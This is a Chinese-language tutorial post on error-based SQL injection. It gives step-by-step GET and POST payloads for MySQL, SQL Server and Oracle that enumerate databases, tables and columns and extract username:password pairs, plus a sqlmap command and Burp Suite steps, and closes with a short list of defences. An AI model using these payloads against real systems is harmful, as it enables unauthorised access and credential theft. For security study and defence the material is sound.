SQL注入:基于GET和POST的报错注入详解

SQL注入:基于GET和POST的报错注入详解

  • [一, 报错注入基本原理](#一, 报错注入基本原理)
  • 二、GET型报错注入
    • [1. 基本特征](#1. 基本特征)
    • [2. 攻击步骤](#2. 攻击步骤)
    • [3. 绕过技巧](#3. 绕过技巧)
  • [三, POST型报错注入](#三, POST型报错注入)
    • [1. 基本特征](#1. 基本特征)
    • [2. 攻击步骤](#2. 攻击步骤)
      • [(1) 发现注入点](#(1) 发现注入点)
      • [(2) 构造报错注入](#(2) 构造报错注入)
      • [(3) 获取数据](#(3) 获取数据)
    • [3. 工具辅助](#3. 工具辅助)
  • 四、不同数据库的报错注入方法
  • 五、防御措施

一, 报错注入基本原理

报错注入(Error-Based SQL Injection)是一种利用数据库错误信息来获取数据的SQL注入技术。当应用程序直接将数据库错误信息返回给用户时,攻击者可以构造特殊的SQL语句,使数据库执行时产生错误,并在错误信息中携带查询结果。

核心原理:

  1. 利用数据库函数故意制造错误;
  2. 通过错误信息回显获取数据
  3. 常用报错函数:
    MySQL: updatexml(), extractvalue(), floor()
    SQL Server: convert(), cast()
    Oracle: ctxsys.drithsx.sn()

二、GET型报错注入

1. 基本特征

2. 攻击步骤

(1)判断注入点

http://example.com/news.php?id=1'

观察是否返回数据库错误信息

(2)确定报错函数可用性

MySQL测试:

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,version()),1)--+

如果返回包含MySQL版本号的错误信息,说明报错注入可行

(3) 获取数据库信息

获取当前数据库:

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,database()),1)--+

获取所有数据库:

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),1)--+

(4) 获取表名

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+

(5) 获取列名

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1)--+

(6) 获取数据

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1)),1)--+

3. 绕过技巧

  • 使用mid(),substr()函数处理长数据
  • 使用floor(rand()*2)报错方式
  • URL编码特殊字符

三, POST型报错注入

1. 基本特征

  • 注入点位于表单提交的数据中
  • 需要通过修改post请求进行注入
  • 典型示例:登录表单,搜索框等

2. 攻击步骤

(1) 发现注入点

提交单引号测试:

username=admin'&password=123

观察是否返回数据库错误

(2) 构造报错注入

使用Burp Suite拦截请求,修改POST数据:

username=admin' and updatexml(1,concat(0x7e,version()),1)-- &password=123

(3) 获取数据

获取表名:

username=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)-- &password=123

3. 工具辅助

  • 使用Burp Suite的Repeater模块修改请求、
  • 使用sqlmap自动化测试
    sqlmap -u "http://example.com/login.php" --data="username=admin&password=123" --technique=E --dbs

四、不同数据库的报错注入方法

  1. MySQL
sql 复制代码
and updatexml(1,concat(0x7e,(select user())),1)
and extractvalue(1,concat(0x7e,(select user())))
and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)

2 .SQL Server

sql 复制代码
and 1=convert(int,@@version)
and 1=cast((select @@version) as int)

3 .Oracle

sql 复制代码
and 1=ctxsys.drithsx.sn(1,(select banner from v$version where rownum=1))

五、防御措施

  1. 使用参数化查询(Prepared Statements)

  2. 对输入进行严格的过滤和转义

  3. 关闭错误信息回显

  4. 使用WAF防护

  5. 最小权限原则,限制数据库用户权限

相关推荐
洛水水7 分钟前
数据库连接池详解
数据库·c++·mysql
小江的记录本11 分钟前
【Java基础】集合框架: ArrayList vs LinkedList 核心区别、扩容机制(附《思维导图》+《面试高频考点清单》)
java·数据库·python·mysql·spring·面试·maven
清水白石00816 分钟前
从“点一下导出”到生产级任务队列:Python 异步导出系统设计全景解析
java·数据库·python
快乐的哈士奇17 分钟前
历史对话关联 RAG 上下文检索 — 内部技术介绍
服务器·数据库·oracle
半夜修仙18 分钟前
Redis中List数据类型的常见命令
数据库·redis·缓存
wujt888818 分钟前
mysql 比较数据库
数据库·mysql·oracle
tongluowan00724 分钟前
怎么保证缓存和数据库的一致性
java·数据库·缓存·一致性
恣艺32 分钟前
用Go从零实现一个高性能KV存储引擎:B+Tree索引、WAL持久化、LRU缓存的工程实践
开发语言·数据库·redis·缓存·golang
TDengine (老段)32 分钟前
TDengine 支持数据类型深度解析 — 类型体系、存储编码与选型指南
java·大数据·数据库·系统架构·时序数据库·tdengine·涛思数据
weelinking9 小时前
【产品】00_产品经理用Claude实现产品系列介绍
数据库·人工智能·sql·数据挖掘·github·产品经理